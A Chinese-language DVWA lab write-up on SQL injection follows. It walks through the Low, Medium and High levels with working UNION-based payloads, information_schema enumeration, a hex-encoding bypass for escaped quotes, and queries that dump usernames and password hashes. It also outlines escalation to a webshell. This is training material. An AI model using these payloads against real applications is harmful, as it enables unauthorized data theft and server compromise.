本系列文集:DVWA學習筆記
SQL注入,是指攻擊者通過注入惡意的SQL命令侨嘀,破壞SQL查詢語句的結(jié)構(gòu),從而達到執(zhí)行惡意SQL語句的目的捂襟。SQL注入漏洞的危害是巨大的咬腕,常常會導致整個數(shù)據(jù)庫被“脫褲”,盡管如此葬荷,SQL注入仍是現(xiàn)在最常見的Web漏洞之一涨共。
SQL 注入分類
按SQLMap中的分類來看,SQL注入類型有以下 5 種:
UNION query SQL injection(可聯(lián)合查詢注入)
Stacked queries SQL injection(可多語句查詢注入)
Boolean-based blind SQL injection(布爾型注入)
Error-based SQL injection(報錯型注入)
Time-based blind SQL injection(基于時間延遲注入)
SQL 注入常規(guī)利用思路:
1宠漩、尋找注入點举反,可以通過 web 掃描工具實現(xiàn)
2、通過注入點扒吁,嘗試獲得關于連接數(shù)據(jù)庫用戶名火鼻、數(shù)據(jù)庫名稱、連接數(shù)據(jù)庫用戶權(quán)限雕崩、操作系統(tǒng)信息魁索、數(shù)據(jù)庫版本等相關信息。
3盼铁、猜解關鍵數(shù)據(jù)庫表及其重要字段與內(nèi)容(常見如存放管理員賬戶的表名粗蔚、字段名等信息)
4、可以通過獲得的用戶信息饶火,尋找后臺登錄支鸡。
5冬念、利用后臺或了解的進一步信息趁窃,上傳 webshell 或向數(shù)據(jù)庫寫入一句話木馬牧挣,以進一步提權(quán),直到拿到服務器權(quán)限醒陆。
手工注入常規(guī)思路:
1.判斷是否存在注入瀑构,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢語句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當前數(shù)據(jù)庫
5.獲取數(shù)據(jù)庫中的表
6.獲取表中的字段名
7.查詢到賬戶的數(shù)據(jù)
Low:
分析:
由代碼可知,通過REQUEST
方式接受傳遞的參數(shù)id刨摩,再通過sql語句帶入查詢寺晌,并未設置任何過濾,因此可以進行sql注入利用澡刹。
常見注入測試的POC:
1.判斷是否存在注入呻征,注入是字符型還是數(shù)字型
當輸入的參數(shù)為字符串時,稱為字符型罢浇。字符型和數(shù)字型最大的一個區(qū)別在于陆赋,數(shù)字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的嚷闭。
輸入1攒岛,查詢成功:
輸入1'and '1' ='2,查詢失敗胞锰,返回結(jié)果為空:
輸入1' or '1'='1 頁面正常灾锯,并返回更多信息,成功查詢
判斷存在的是字符型注入嗅榕。
2.猜解SQL查詢語句中的字段數(shù)
輸入1′ or 1=1 order by 1 #顺饮,查詢成功: #是注釋作用
輸入1′ or 1=1 order by 2 #,查詢成功: #是注釋作用
輸入1′ or 1=1 order by 3 #凌那,查詢失敿嫘邸: #是注釋作用
說明執(zhí)行的SQL查詢語句中只有兩個字段,即這里的First name案怯、Surname君旦。
3.確定顯示的字段順序
輸入1′ union select 1,2 #,查詢成功: #是注釋作用
說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=’id’…
4.獲取當前數(shù)據(jù)庫
輸入1' union select 1,database() #嘲碱,查詢成功:#是注釋作用
說明當前的數(shù)據(jù)庫為dvwa金砍。
5.獲取數(shù)據(jù)庫中的表
輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功: #是注釋作用
說明數(shù)據(jù)庫dvwa中一共有兩個表麦锯,guestbook與users恕稠。
6.獲取表中的字段名
輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查詢成功: #是注釋作用
說明users表中有8個字段扶欣,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login鹅巍。
7.下載數(shù)據(jù)
輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #千扶,查詢成功: #是注釋作用
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。
Medium:
分析:
Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號\x00,\n,\r,,’,”,\x1a進行轉(zhuǎn)義骆捧,同時前端頁面設置了下拉選擇表單澎羞,希望以此來控制用戶的輸入。
漏洞利用
雖然前端使用了下拉選擇菜單敛苇,但我們依然可以通過抓包改參數(shù)妆绞,提交惡意構(gòu)造的查詢參數(shù)。
1.判斷是否存在注入枫攀,注入是字符型還是數(shù)字型
抓包更改參數(shù)id為1′ or 1=1 # 報錯: #是注釋作用
抓包更改參數(shù)id為1 or 1=1 #括饶,查詢成功:
說明存在數(shù)字型注入。
(由于是數(shù)字型注入来涨,服務器端的mysql_real_escape_string函數(shù)就形同虛設了图焰,因為數(shù)字型注入并不需要借助引號。)
2.猜解SQL查詢語句中的字段數(shù)
抓包更改參數(shù)id為1 order by 2 #蹦掐,查詢成功:
抓包更改參數(shù)id為1 order by 3 #技羔,報錯:
說明執(zhí)行的SQL查詢語句中只有兩個字段,即這里的First name笤闯、Surname堕阔。
3.確定顯示的字段順序
抓包更改參數(shù)id為1 union select 1,2 #,查詢成功:
說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=id…
4.獲取當前數(shù)據(jù)庫
抓包更改參數(shù)id為1 union select 1,database() #颗味,查詢成功:
說明當前的數(shù)據(jù)庫為dvwa超陆。
5.獲取數(shù)據(jù)庫中的表
抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:
說明數(shù)據(jù)庫dvwa中一共有兩個表浦马,guestbook與users时呀。
6.獲取表中的字段名
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查詢失斁:
這是因為單引號被轉(zhuǎn)義了谨娜,變成了\’』嵌福可以利用16進制進行繞過 ''
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #趴梢,查詢成功:
說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login币他。
7.下載數(shù)據(jù)
抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #坞靶,查詢成功:
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。
High:
分析:
與Medium級別的代碼相比蝴悉,High級別的只是在SQL查詢語句中添加了LIMIT 1彰阴,希望以此控制只輸出一個結(jié)果。
漏洞利用:
雖然添加了LIMIT 1拍冠,但是我們可以通過#將其注釋掉尿这。由于手工注入的過程與Low級別基本一樣簇抵,直接最后一步演示下載數(shù)據(jù)。
輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #射众,查詢成功:
特別注意:High級別的查詢提交頁面與查詢結(jié)果顯示頁面不是同一個碟摆,也沒有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入责球,因為sqlmap在注入過程中焦履,無法在查詢提交頁面上獲取查詢的結(jié)果,沒有了反饋雏逾,也就沒辦法進一步注入。